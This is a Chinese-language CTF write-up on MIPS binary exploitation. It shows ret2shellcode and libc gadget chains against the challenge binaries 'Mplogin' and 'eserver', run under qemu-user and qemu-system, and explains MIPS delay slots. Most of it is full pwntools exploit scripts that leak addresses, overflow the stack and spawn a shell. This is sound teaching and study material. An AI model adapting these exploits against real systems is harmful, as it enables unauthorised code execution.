ret2shellcode
和x86 pwn相同,这里先检查可执行文件的保护情况:
什么保护也没有开启,根据我之前做x86的pwn的经验,直接ret2shellcode。放到IDA中查看main的伪代码,如下图所示:
进入getUsername函数,read没有溢出,并且Username要求输入以“admin”为开头的字符串,否则会退出:
该函数返回后会将Username的长度传入checkPassword()中:
先来看第一个read函数,read(0, v2, 36),v2变量的定义为char v2[20],显而易见,该read可以造成栈溢出,可溢出的数据量为16字节。该函数的栈帧如下图所示:
很明显,溢出之后就可以修改传入的passwordLen,这样第二个read:read(0, v4, passwordLen)就会出现任意长度的栈溢出。返回地址和Frame Pointer在该栈帧上的排布如下:
因为checkPassword函数调用了其他的库函数,所以属于非叶子函数;即,在前面的文章中提到:“如果函数B是非叶子函数,则函数B先从堆栈中取出被保存在堆栈上的返回地址,然后将返回地址存入寄存器$ra,再使用jr $ra指令返回函数A”,所以我们只需要溢出修改上图的return_addr即可。在x86中,针对ret2shellcode这种攻击手段有两种方式:
- 将shellcode写到已知地址并且具有可执行权限的内存区域中,然后劫持返回地址到该地址执行shellcode
- 若栈地址未知,直接将shellcode写到返回地址的后面,将返回地址覆盖为gadgetpop eip的地址,这样返回后就能执行shellcode 了。
首先排除第2种利用方法,因为MIPS指令集中并没有push和pop指令,所以我们只能使用第一种方法,在本题中要求我们需要泄露出栈地址。注意到getUsername有printf函数,我们只需要将v1填满(避免printf遇到\x00截断)就可以泄露出栈底地址与return_addr(非所在的栈地址):
from pwn import *
import sys
context.arch = "mips"
context.endian = 'little'
context.log_level = 'debug'
try:
if(sys.argv[1] == "g"):
p = process(["qemu-mipsel-static", "-g", "1234", "-L", "./", "./Mplogin"])
elif(sys.argv[1] == "l"):
p = process(["qemu-mipsel-static", "-L", "./", "./Mplogin"])
else:
raise(Exception)
except:
print("<usage: python exp (your choice)>")
exit(0)
p.recvuntil(b"Username : ")
p.send(b"admin".ljust(24, b"a"))
p.recvuntil((24-len(b"admin"))*b'a')
print(p.recv())
p.close()
返回地址为0x400B90
根据栈帧平衡,getUsername与checkPassword的返回地址与栈底地址所处的位置相同:
所以shellcode的地址为0x7FFFEFB0。exp如下:
from pwn import *
import sys
context.arch = "mips"
context.endian = 'little'
context.log_level = 'debug'
try:
if(sys.argv[1] == "g"):
p = process(["qemu-mipsel-static", "-g", "1234", "-L", "./", "./Mplogin"])
elif(sys.argv[1] == "l"):
p = process(["qemu-mipsel-static", "-L", "./", "./Mplogin"])
else:
raise(Exception)
except:
print("<usage: python exp (your choice)>")
exit(0)
p.recvuntil(b"Username : ")
p.send(b"admin".ljust(24, b"a"))
p.recvuntil((24-len(b"admin"))*b'a')
leak_addr = (u32(p.recv(4)))
log.info("leak addr is {}".format(hex(leak_addr)))
p.recvuntil(b"Pre_Password : ")
p.send(b'access'+b'a'*14+p32(0x100))
p.recvuntil("Password : ")
p.send(b"0123456789".ljust(40, b"b")+p32(leak_addr)+asm(shellcraft.sh())) # 将返回地址更改为leak_addr
p.interactive()
ret2libc
qemu-user
进行checksec检查,发现开启了PIE和RELRO保护:
我们都知道,地址随机化只是保持低12位不变,高位还是会随机变的;但是这里需要注意的是,在强网比赛的时候环境是使用qemu-user模拟的,所以PIE保护是不会生效的,也就是说libc的地址固定不变。对eserver进行逆向分析,可以得到如下结论:
- main函数存在栈溢出。
- main函数存在后门函数backdoor。
- backdoor函数只能调用一次。
其中后门函数backdoor可以泄露出read函数的后3字节地址(低18位)中的任意一个字节:
因为该程序由qemu-user模拟,所以无论你重启多少次程序,read函数的地址永远不变。即,我们要启动3次程序以泄露出read函数的后三位真实地址,这一部分的代码如下:
from pwn import *
context.arch = "mips"
context.endian = 'little'
# context.log_level = 'debug'
readOffset_True = 0
libc = ELF("./lib/libc.so.6")
for i in range(3):
p = process(["qemu-mipsel-static", "-L", ".", "./eserver"])
p.sendlineafter("Input package: ","Administrator")
log.info(p.recv())
sleep(0.1)
p.sendlineafter("Input package: ",str(i))
p.recvuntil("Response package: ")
leak_byte = u8(p.recv(1))
print(leak_byte)
readOffset_True += (leak_byte << (8*i))
p.close()
print(hex(readOffset_True))
对照一下本题的libc:
现在我们知道了两个地址:
● 程序运行时read函数的真实地址的后3字节:0x6FBEA4。
● read函数在文件中的偏移为0xDDEA4
但是根据这些我们仍然无法完全得知libc代码段的基地址,只能得到后三位为0x6FBEA4 - 0xDDEA4 == 0x61e000。正好,使用qemu-user模拟的程序其动态链接库都会加载到0x7f000000到0x80000000范围之内,那这不就简单了,read函数的完整地址应为0x7f000000 + 0x61e000 == 0x7f61e000。
下面开始利用,程序没有开启NX保护,我们还是可以ret2shellcode;但是我们无法像之前得知栈地址,因此需要走一些弯路找gadgets。这里就使用IDA的mipsrop插件好了
● mipsrop插件:https://github.com/devttys0/ida/blob/master/plugins/mipsrop/mipsrop.py
下载完成之后放到IDA的plugins目录,用IDA打开题目自带的libc.so.6,点击search->mips rop gadgets,然后在最下面的python代码框中键入mipsrop.find(<要寻找的gadget>)以寻找相应的gadgets。我们直接来看看exp是怎么写的,首先计算出libc代码段的基地址以及其他所需gadgets的真实地址:
print(hex(readOffset_True))
readOffset_Libc = libc.symbols['read']
libcCodeBase = readOffset_True - readOffset_Libc
FullLibcCodeBase = 0x7f000000 + libcCodeBase
log.success(hex(FullLibcCodeBase))
# 所有的地址都不会变化
p = process(["qemu-mipsel-static", "-L", "./", "./eserver"])
lw_s3_gadget = 0x0A0C7C + FullLibcCodeBase
jalr_t9_gadget = 0x11C68C + FullLibcCodeBase
addiu_a1_sp_24_gadget = 0xF60D4 + FullLibcCodeBase
我们跟着gadgets了解下getshell的流程,溢出后栈布局为:
shellcode = asm(shellcraft.sh())
padding = b"TruE"
payload = b'a'*504 # overflow
payload += b'b'*4 # $fp
payload += p32(lw_s3_gadget) # $ra
payload += b'c'*44
payload += padding # s0
payload += padding # s1
payload += padding # s2
payload += p32(jalr_t9_gadget) # s3
payload += p32(addiu_a1_sp_24_gadget) # ra
payload += b'd'*24
payload += shellcode
首先执行lw_s3_gadget,根据栈与gadget,有:
'''
lw_s3_gadget:
# .text:000A0C7C lw $ra, 0x2C+var_s10($sp)【$ra == &addiu_a1_sp_24_gadget】
# .text:000A0C80 lw $s3, 0x2C+var_sC($sp) 【$s3 == &jalr_t9_gadget】
# .text:000A0C84 lw $s2, 0x2C+var_s8($sp) 【$s2 == "TruE"】
# .text:000A0C88 lw $s1, 0x2C+var_s4($sp) 【$s1 == "TruE"】
# .text:000A0C8C lw $s0, 0x2C+var_s0($sp) 【$s0 == "TruE"】
# .text:000A0C90 jr $ra 【调用addiu_a1_sp_24_gadget】
'''
跳转到addiu_a1_sp_24_gadget执行:
'''
addiu_a1_sp_24_gadget
# .text:000F60D4 addiu $a1, $sp, 24 【$a1 = $sp + 24】
# .text:000F60D8 move $t9, $s3 【$t9 == &jalr_t9_gadget】
# .text:000F60DC jalr $t9 【调用jalr_t9_gadget】
'''
最后到jalr_t9_gadget:
'''
jalr_t9_gadget
# .text:0011C68C move $t9, $a1 【$t9 == $a1 == $sp + 24】
# .text:0011C690 move $a1, $a0 【$a1 == $a0 == 未知】
# .text:0011C694 jalr $t9 【???】
'''
不是,这后半部分的调用我怎么没有看懂呢?最后的jalr到底调用了什么呢?正常来说经过第二个gadget后$a1应该指向的是shellcode的地址,但是根据上面的汇编,$a1怎么可能指向shellcode,他又没有改变$sp寄存器?到这里暂停一下,先来看一个之前文章中出现的例子:
// mipsel-linux-gnu-gcc -g -fno-stack-protector -z execstack -no-pie -z norelro leaf_function.c -o leaf_function_MIPSEL_32
#include <stdio.h>
char* child1_func1(char* buffer){
return buffer;
}
void parent_func(){
char *name = "cyberangel";
printf("I'm parent function\n");
printf("%s",child1_func1(name));
}
int main(){
parent_func();
return 0;
}
下面是parent_func函数的汇编代码,可以看到每一条调用函数的jalr(jal)之后都紧跟着一个nop指令:
但是你真的在意过这些nop指令的作用吗?我们可以将任意一个函数后面的nop改为其他不影响程序执行流程的指令,这里就改jal child1_func1的nop吧,改为move $a1, $a0
将此可执行文件导出,使用IDA调试:
现在$a0与$a1的寄存器值分别为0x004009F0与0xFFFFFFFF,按下F7单步步入:
现在$a1的值同样变化为0x4009F0,说明程序在执行child1_func函数的第一条指令之前提前执行了move $a1, $a0,这也就是为什么每条调用函数的汇编指令之后紧跟着一个nop而非其他指令 -- 不进行任何操作;出现这种情况的原因似乎与MIPS架构的流水线特性有关...函数返回后retn到&jal+8处继续执行。
其实前面所展示的gadgets是省略的,都缺少了调用指令之后的那条指令,回过头来看我们的gadgets,首先是:
哎,这就对味了嘛(下面的代码框以$sp为基准):
# 执行前
payload += b'c'*44
payload += padding # s0(4字节,下同)
payload += padding # s1
payload += padding # s2
payload += p32(jalr_t9_gadget) # s3
payload += p32(addiu_a1_sp_24_gadget) # ra
payload += b'd'*24
payload += shellcode
# 执行后
payload += b'd'*24
payload += shellcode
'''
lw_s3_gadget:
# .text:000A0C7C lw $ra, 0x2C+var_s10($sp)【$ra == &addiu_a1_sp_24_gadget】
# .text:000A0C80 lw $s3, 0x2C+var_sC($sp) 【$s3 == &jalr_t9_gadget】
# .text:000A0C84 lw $s2, 0x2C+var_s8($sp) 【$s2 == "TruE"】
# .text:000A0C88 lw $s1, 0x2C+var_s4($sp) 【$s1 == "TruE"】
# .text:000A0C8C lw $s0, 0x2C+var_s0($sp) 【$s0 == "TruE"】
# .text:000A0C90 jr $ra 【调用addiu_a1_sp_24_gadget】
# .text:000A0C94 addiu $sp, 0x40
'''
执行addiu_a1_sp_24_gadget:
'''
addiu_a1_sp_24_gadget
# .text:000F60D4 addiu $a1, $sp, 24 【$a1 = $sp + 24 = &shellcode】
# .text:000F60D8 move $t9, $s3 【$t9 == &jalr_t9_gadget】
# .text:000F60DC jalr $t9 【调用jalr_t9_gadget】
# .text:000F60E0 li $a0, 0x1D
'''
执行后$a1指向shellcode的起始地址,最后执行jalr_t9_gadget:
'''
jalr_t9_gadget
# .text:0011C68C move $t9, $a1 【$t9 == &shellcode】
# .text:0011C690 move $a1, $a0 【$a1 == $a0 == 0x1D】
# .text:0011C694 jalr $t9 【执行shellcode】
# .text:0011C698 move $a0, $v1 【$v1的值未知,无伤大雅】
'''
最后需要让程序退出以触发payload,完整exp如下:
from pwn import *
context.arch = "mips"
context.endian = 'little'
# context.log_level = 'debug'
readOffset_True = 0
libc = ELF("./lib/libc.so.6")
for i in range(3):
p = process(["qemu-mipsel-static", "-L", ".", "./eserver"])
p.sendlineafter("Input package: ","Administrator")
log.info(p.recv())
sleep(0.1)
p.sendlineafter("Input package: ",str(i))
p.recvuntil("Response package: ")
leak_byte = u8(p.recv(1))
readOffset_True += (leak_byte << (8*i))
p.close()
print(hex(readOffset_True))
readOffset_Libc = libc.symbols['read']
libcCodeBase = readOffset_True - readOffset_Libc
FullLibcCodeBase = 0x7f000000 + libcCodeBase
log.success(hex(FullLibcCodeBase))
# -----------------------------------------------------------
p = process(["qemu-mipsel-static","-L", "./", "./eserver"])
lw_s3_gadget = 0x0A0C7C + FullLibcCodeBase
jalr_t9_gadget = 0x11C68C + FullLibcCodeBase
addiu_a1_sp_24_gadget = 0xF60D4 + FullLibcCodeBase
padding = b"TruE"
shellcode = asm(shellcraft.sh())
payload = b'a'*504 # overflow
payload += b'b'*4 # $fp
'''
lw_s3_gadget:
# .text:000A0C7C lw $ra, 0x2C+var_s10($sp)
# .text:000A0C80 lw $s3, 0x2C+var_sC($sp)
# .text:000A0C84 lw $s2, 0x2C+var_s8($sp)
# .text:000A0C88 lw $s1, 0x2C+var_s4($sp)
# .text:000A0C8C lw $s0, 0x2C+var_s0($sp)
# .text:000A0C90 jr $ra
# .text:000A0C94 addiu $sp, 0x40
'''
payload += p32(lw_s3_gadget) # $ra
payload += b'c'*44
payload += padding # s0
payload += padding # s1
payload += padding # s2
'''
jalr_t9_gadget
# .text:0011C68C move $t9, $a1
# .text:0011C690 move $a1, $a0
# .text:0011C694 jalr $t9
# .text:0011C698 move $a0, $v1
'''
payload += p32(jalr_t9_gadget) # s3
'''
addiu_a1_sp_24_gadget
# .text:000F60D4 addiu $a1, $sp, 24
# .text:000F60D8 move $t9, $s3
# .text:000F60DC jalr $t9
# .text:000F60E0 li $a0, 0x1D
'''
payload += p32(addiu_a1_sp_24_gadget) # ra
payload += b'd'*24
payload += shellcode
p.sendlineafter('Input package: ', payload)
p.sendlineafter('Input package: ', 'EXIT')
p.interactive()
最后出现ls: write error: Bad file descriptor的错误,这是因为程序在最后关闭了标准输出:
我们只需要将流重定向到stderr就行:ls 1>&2
另外,pwndbg的vmmap命令不支持qemu-user(无法查看内存布局),并且无法对函数直接下断点(b main),总之局限性非常大:
cyberangel@cyberangel:~/Desktop/MIPS_PWN/eserver$ qemu-mipsel-static -g 1234 -L . ./eserver
----------------------------------------------------------------------------------------------------------------
gdb-multiarch
$ set arch mips
$ set endian little
$ target remote localhost:1234
$ file ./eserver
$ b main 【Breakpoint 1 at 0xfe0】
$ c 【直接跑飞,无法断下】
要想能正常调试还得看我qemu-system。
qemu-system
如果程序使用qemu-system模拟,抛开地址随机化不谈,上面的那个exp是有可能无法getshell的,下面我们来演示一下。由于qemu-system系统中并没有自带socat工具,但是我们可以退而求其次,使用静态的且已经编译好的可执行程序。
socat下载地址:https://github.com/hypn/misc-binaries/blob/master/socat-mipsel32-static-debian-squeeze(小端序)
为了防止受地址随机化的影响,这里我选择关闭(不关闭这道题目就做不成了):echo 0 > /proc/sys/kernel/randomize_va_space。查看libc地址:
将qemu-system的/lib/ld-2.11.3.so与/lib/libc-2.11.3.so拷贝出来,尝试寻找gadgets,首先是lw_s3_gadget,地址为0xA0730:
.text:000A0730 loc_A0730: # CODE XREF: sub_A0658+78↑j
.text:000A0730 34 00 BF 8F lw $ra, 0x24+var_s10($sp) # 52
.text:000A0734 30 00 B3 8F lw $s3, 0x24+var_sC($sp) # 48
.text:000A0738 2C 00 B2 8F lw $s2, 0x24+var_s8($sp) # 44
.text:000A073C 28 00 B1 8F lw $s1, 0x24+var_s4($sp) # 40
.text:000A0740 24 00 B0 8F lw $s0, 0x24+var_s0($sp) # 36
.text:000A0744 08 00 E0 03 jr $ra
.text:000A0748 38 00 BD 27 addiu $sp, 0x38 # 56
然后是jalr_t9_gadget和addiu_a1_sp_24_gadget,该版本的libc中没有jalr $t9gadget,我们只能重新选择gadget和布置栈:
loc_126440:
.text:00126440 21 C8 A0 00 move $t9, $a1
.text:00126444 4C 00 84 24 addiu $a0, 0x4C # 'L'
.text:00126448 08 00 20 03 jr $t9
.text:0012644C 21 28 C0 00 move $a1, $a2
--------------------------------------------------------------------------------------------------------------------------------
.text:00023828 loc_23828: # CODE XREF: sub_23790+5C↑j
.text:00023828 21 C8 20 02 move $t9, $s1
.text:0002382C 09 F8 20 03 jalr $t9
.text:00023830 1C 00 A5 27 addiu $a1, $sp, 0x24+var_8 # 0x1C(28)
栈的布置为:
# 执行前(溢出后)
payload = b'a'*504 # overflow
payload += b'b'*4 # $fp
payload += p32(lw_s3_gadget) # $ra
payload += b'c'*36
payload += padding # s0
payload += p32(loc_126440) # s1
payload += padding # s2
payload += padding # s3
payload += p32(loc_23828) # ra
payload += b'd'*28
payload += shellcode
loc_A0730:
.text:000A0730 loc_A0730: # CODE XREF: sub_A0658+78↑j
.text:000A0730 34 00 BF 8F lw $ra, 0x24+var_s10($sp) # 52【$ra == &loc_23828】
.text:000A0734 30 00 B3 8F lw $s3, 0x24+var_sC($sp) # 48【$s3 == "TruE"】
.text:000A0738 2C 00 B2 8F lw $s2, 0x24+var_s8($sp) # 44【$s2 == "TruE"】
.text:000A073C 28 00 B1 8F lw $s1, 0x24+var_s4($sp) # 40【$s1 == &loc_11C370】
.text:000A0740 24 00 B0 8F lw $s0, 0x24+var_s0($sp) # 36【$s2 == "TruE"】
.text:000A0744 08 00 E0 03 jr $ra
.text:000A0748 38 00 BD 27 addiu $sp, 0x38 # 56
----------------------------------------------------------------------------------------------------------------
loc_23828:
.text:00023828 loc_23828: # CODE XREF: sub_23790+5C↑j
.text:00023828 21 C8 20 02 move $t9, $s1 # 【$t9 == &loc_11C370】
.text:0002382C 09 F8 20 03 jalr $t9
.text:00023830 1C 00 A5 27 addiu $a1, $sp, 0x24+var_8 # 0x1C(28):【$a1 == &shellcode】
----------------------------------------------------------------------------------------------------------------
loc_126440:
.text:00126440 21 C8 A0 00 move $t9, $a1
.text:00126444 4C 00 84 24 addiu $a0, 0x4C # 'L'
.text:00126448 08 00 20 03 jr $t9
.text:0012644C 21 28 C0 00 move $a1, $a2
exp如下(注意挂载的是qemu system的libc和ld):
from pwn import *
context.arch = "mips"
context.endian = 'little'
context.os = "linux"
context.log_level = 'debug'
readOffset_True = 0
libc = ELF("./lib/libc.so.6") # 挂载的是qemu system的libc和ld
for i in range(3):
p = process(["qemu-mipsel-static", "-L", ".", "./eserver"])
p.sendlineafter("Input package: ","Administrator")
log.info(p.recv())
sleep(0.5)
p.sendlineafter("Input package: ",str(i))
p.recvuntil("Response package: ")
leak_byte = u8(p.recv(1))
readOffset_True += (leak_byte << (8*i))
p.close()
print(hex(readOffset_True))
readOffset_Libc = libc.symbols['read']
libcCodeBase = readOffset_True - readOffset_Libc
FullLibcCodeBase = 0x7f000000 + libcCodeBase
log.success(hex(FullLibcCodeBase))
# -----------------------------------------------------------
p = process(["qemu-mipsel-static","-L", "./", "./eserver"]) # 挂载的是qemu system的libc和ld
lw_s3_gadget = 0xA0730 + FullLibcCodeBase
loc_126440 = 0x126440 + FullLibcCodeBase
loc_23828 = 0x23828 +FullLibcCodeBase
padding = b"TruE"
shellcode = asm(shellcraft.sh())
payload = b'a'*504 # overflow
payload += b'b'*4 # $fp
payload += p32(lw_s3_gadget) # $ra
payload += b'c'*36
payload += padding # s0
payload += p32(loc_126440) # s1
payload += padding # s2
payload += padding # s3
payload += p32(loc_23828) # ra
payload += b'd'*28
payload += shellcode
p.sendlineafter('Input package: ', payload)
p.sendlineafter('Input package: ', 'EXIT')
p.interactive()
拿到shell之后,在qemu-system中执行./socat-mipsel32-static-debian-squeeze tcp-l:9999,fork exec:./eserver,然后稍微修改一下脚本,我们尝试看能不能拿到shell:
from pwn import *
context.arch = "mips"
context.endian = 'little'
context.os = "linux"
context.log_level = 'debug'
libc = ELF("./lib/libc.so.6")
#-----------------------------------------------------------
p = remote("192.168.2.2",9999)
FullLibcCodeBase = 0x77E41000
lw_s3_gadget = 0xA0730 + FullLibcCodeBase
loc_126440 = 0x126440 + FullLibcCodeBase
loc_23828 = 0x23828 +FullLibcCodeBase
padding = b"TruE"
shellcode = asm(shellcraft.sh())
payload = b'a'*504 # overflow
payload += b'b'*4 # $fp
payload += p32(lw_s3_gadget) # $ra
payload += b'c'*36
payload += padding # s0
payload += p32(loc_126440) # s1
payload += padding # s2
payload += padding # s3
payload += p32(loc_23828) # ra
payload += b'd'*28
payload += shellcode
p.sendlineafter('Input package: ', payload)
p.sendlineafter('Input package: ', 'EXIT')
p.interactive()
此时查看进程的fd:
所以执行ls 1>&0就能回显:
但其实到这里都不是我要说明的,在qemu-system模式中拿到shell我也没想到,可能qemu-user和qemu-system都没有将MIPS架构的流水线特性体现出来吧:
现在我们向将payload中插入sleep函数:
重新尝试寻找gadgets并重新布置栈,我们有:
.text:000A0730 loc_A0730: # CODE XREF: sub_A0658+78↑j
.text:000A0730 34 00 BF 8F lw $ra, 0x24+var_s10($sp) # 52【$ra == &loc_13A354】
.text:000A0734 30 00 B3 8F lw $s3, 0x24+var_sC($sp) # 48【$s3 == &loc_92838】
.text:000A0738 2C 00 B2 8F lw $s2, 0x24+var_s8($sp) # 44【$s2 == "TruE"】
.text:000A073C 28 00 B1 8F lw $s1, 0x24+var_s4($sp) # 40【$s1 == "TruE"】
.text:000A0740 24 00 B0 8F lw $s0, 0x24+var_s0($sp) # 36【$s0 == &sleep函数真实地址】
.text:000A0744 08 00 E0 03 jr $ra
.text:000A0748 38 00 BD 27 addiu $sp, 0x38 # 56
--------------------------------------------------------------------------------------------------------------------------------
loc_13A354:
.text:0013A354 01 00 04 24 li $a0, 1 # 【$a0 == 1】
.text:0013A358 21 C8 60 02 move $t9, $s3 # 【$t9 == loc_92838】
.text:0013A35C 09 F8 20 03 jalr $t9 ; socket # 【调用loc_92838】
.text:0013A360 21 30 00 00 move $a2, $zero
--------------------------------------------------------------------------------------------------------------------------------
loc_92838:
.text:00092838 21 C8 00 02 move $t9, $s0 # 【$s0 == &sleep函数真实地址】
.text:0009283C 09 F8 20 03 jalr $t9 ; uselocale # 【调用sleep】
.text:00092840 21 90 40 00 move $s2, $v0
.text:00092840 # 这里可以重新布置栈
.text:00092844 24 00 BF 8F lw $ra, 0x18+var_sC($sp) # 36
.text:00092848 21 10 40 02 move $v0, $s2
.text:0009284C 20 00 B2 8F lw $s2, 0x18+var_s8($sp) # 32
.text:00092850 1C 00 B1 8F lw $s1, 0x18+var_s4($sp) # 28
.text:00092854 18 00 B0 8F lw $s0, 0x18+var_s0($sp) # 24
.text:00092858 08 00 E0 03 jr $ra
.text:0009285C 28 00 BD 27 addiu $sp, 0x28 # 40
--------------------------------------------------------------------------------------------------------------------------------
loc_23828:
.text:00023828 loc_23828: # CODE XREF: sub_23790+5C↑j
.text:00023828 21 C8 20 02 move $t9, $s1
.text:0002382C 09 F8 20 03 jalr $t9
.text:00023830 1C 00 A5 27 addiu $a1, $sp, 0x24+var_8 # 0x1C(28)【$a1 == &shellcode】
--------------------------------------------------------------------------------------------------------------------------------
loc_126440:
.text:00126440 21 C8 A0 00 move $t9, $a1 #【$t9 == &shellcode】
.text:00126444 4C 00 84 24 addiu $a0, 0x4C # 'L'
.text:00126448 08 00 20 03 jr $t9 #【执行shellcode】
.text:0012644C 21 28 C0 00 move $a1, $a2
--------------------------------------------------------------------------------------------------------------------------------
loc_A0730 = FullLibcCodeBase + 0xA0730
loc_92838 = FullLibcCodeBase + 0x92838
loc_13A354 = FullLibcCodeBase + 0x13A354
loc_126440 = FullLibcCodeBase + 0x126440
loc_23828 = FullLibcCodeBase + 0x23828
sleep_TruE = FullLibcCodeBase + 0xB2BB0
padding = b"TruE"
shellcode = asm(shellcraft.sh())
payload = b'a'*504 # overflow
payload += b'b'*4 # $fp
payload += p32(loc_A0730) # $ra
#----------------------------------------
payload += b'c'*36
payload += p32(sleep_TruE) # $s0
payload += padding # $s1
payload += padding # $s2
payload += p32(loc_92838) # $s3
payload += p32(loc_13A354) # ra
#----------------------------------------
payload += b'd'*24
payload += padding # $s0
payload += p32(loc_126440) # $s1
payload += padding # $s2
payload += p32(loc_23828) # $ra
#----------------------------------------
payload += b'd'*28
payload += shellcode
完整exp如下:
from pwn import *
context.arch = "mips"
context.endian = 'little'
context.os = "linux"
context.log_level = 'debug'
libc = ELF("./lib/libc.so.6")
#-----------------------------------------------------------
p = remote("192.168.2.2",9999)
FullLibcCodeBase = 0x77E41000
loc_A0730 = FullLibcCodeBase + 0xA0730
loc_92838 = FullLibcCodeBase + 0x92838
loc_13A354 = FullLibcCodeBase + 0x13A354
loc_126440 = FullLibcCodeBase + 0x126440
loc_23828 = FullLibcCodeBase + 0x23828
sleep_TruE = FullLibcCodeBase + 0xB2BB0
padding = b"TruE"
shellcode = asm(shellcraft.sh())
payload = b'a'*504 # overflow
payload += b'b'*4 # $fp
payload += p32(loc_A0730) # $ra
#----------------------------------------
payload += b'c'*36
payload += p32(sleep_TruE) # $s0
payload += padding # $s1
payload += padding # $s2
payload += p32(loc_92838) # $s3
payload += p32(loc_13A354) # ra
#----------------------------------------
payload += b'd'*24
payload += padding # $s0
payload += p32(loc_126440) # $s1
payload += padding # $s2
payload += p32(loc_23828) # $ra
#----------------------------------------
payload += b'd'*28
payload += shellcode
p.sendlineafter('Input package: ', payload)
p.sendlineafter('Input package: ', 'EXIT')
p.interactive()
既然都能直接调用sleep函数了,为什么不直接调用system("/bin/sh")呢?当然是可以的(自己需要修改一下下面的exp):
# exp来源自:https://mp.weixin.qq.com/s?__biz=Mzg4NzcxOTI0OQ==&mid=2247484858&idx=1&sn=12e41de29ab9a228dbace3151aef1fb5
#!/usr/bin/env python
#coding=utf-8
from pwn import*
context.log_level = "debug"
context.arch = "mips"
#context.endian = "small"
context.os = "linux"
main_arena = 0x1ebb80
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rls = lambda n=2**20: io.recvlines(n)
su = lambda buf,addr:io.success(buf+"==>"+hex(addr))
local = 1
if local == 1:
io=io=process(argv=['qemu-mipsel','-L','~/Desktop/mip/mipsel-linux-uclibc','./eserver'])
#io=io=process(argv=['qemu-mipsel','-g','1234','-L','~/Desktop/mip/mipsel-linux-uclibc','./eserver'])
else:
io=remote('node4.buuoj.cn',26469)
libc=ELF('./libc.so.6')
ru('Input package: ')
sl('Administrator')
ru('Input package: ')
sl('2')
ru('Response package: ')
l4 = 0x7f
l3 = u8(r(1))
l2 = ((libc.sym['read']&0xff00)>>8)-0x70
l1 = 0xa4
libc_base = (l1 ^ (l2<<8) ^ (l3<<16) ^ (l4<<24))-libc.sym['read']
su('libc_base',libc_base)
'''
.text:0011ACD8
.text:0011ACD8 var_38 = -0x38
.text:0011ACD8 var_30 = -0x30
.text:0011ACD8 var_28 = -0x28
.text:0011ACD8 var_24 = -0x24
.text:0011ACD8 var_20 = -0x20
.text:0011ACD8 var_1C = -0x1C
.text:0011ACD8 var_18 = -0x18
.text:0011ACD8 var_14 = -0x14
.text:0011ACD8 var_10 = -0x10
.text:0011ACD8 var_C = -0xC
.text:0011ACD8 var_8 = -8
.text:0011ACD8 var_4 = -4
.text:0011ACD8 var_s0 = 0
.text:0011ACD8 var_s4 = 4
.text:0011ACD8 var_s8 = 8
.text:0011ACD8 var_sC = 0xC
.text:0011ACD8 var_s10 = 0x10
.text:0011ACD8 var_s14 = 0x14
.text:0011ACD8 var_s18 = 0x18
.text:0011ACD8 var_s1C = 0x1C
.text:0011ACD8 var_s20 = 0x20
.text:0011ACD8 var_s24 = 0x24
.text:0011B170 move \$a0, \$fp
.text:0011B174
.text:0011B174 loc_11B174: # CODE XREF: sub_11ACD8:loc_11AD88↑j
.text:0011B174 # sub_11ACD8+B8↑j ...
.text:0011B174 lw \$ra, 0x48+var_s24(\$sp)
.text:0011B178 lw \$v0, 0x48+var_30(\$sp)
.text:0011B17C lw \$fp, 0x48+var_s20(\$sp)
.text:0011B180 lw \$s7, 0x48+var_s1C(\$sp)
.text:0011B184 lw \$s6, 0x48+var_s18(\$sp)
.text:0011B188 lw \$s5, 0x48+var_s14(\$sp)
.text:0011B18C lw \$s4, 0x48+var_s10(\$sp)
.text:0011B190 lw \$s3, 0x48+var_sC(\$sp)
.text:0011B194 lw \$s2, 0x48+var_s8(\$sp)
.text:0011B198 lw \$s1, 0x48+var_s4(\$sp)
.text:0011B19C lw \$s0, 0x48+var_s0(\$sp)
.text:0011B1A0 jr \$ra
.text:0011B1A4 addiu \$sp, 0x70
.text:00134E80 move \$t9, \$fp
.text:00134E84 jalr \$t9
.text:00134E88 move \$at, \$at
'''
pay = b'a'*0x1f8+p32(libc.search('/bin/sh\0').next()+libc_base)+p32(0x0011B170+libc_base)+b'a'*0x68+p32(libc_base+libc.sym['system'])+p32(0x00134E80+libc_base)#
ru('Input package: ')
sl(pay)
ru('Input package: ')
sl('EXIT')
shell()
另外,还记得之前的qemu-user无法调试程序的情况吗?如果需要调试程序,需要在qemu-system中使用对应架构的gdbserver,这里我选择:
● https://github.com/lucyoa/embedded-tools/blob/master/gdbserver/gdbserver-7.12-mipsel-mips32rel2-v1
调试时在qemu-system中执行./gdbserver-7.12-mipsel-mips32rel2-v1 0.0.0.0:1234 ./eserver 即可:
如果想要调试exp,则:
from pwn import *
context.log_level = 'debug'
io = gdb.debug(['qemu-mipsel-static', '-L', './', './eserver'],gdbscript="file ./eserver\nls") # 命令使用quit分隔
io.recvuntil('Input package: ')
io.interactive()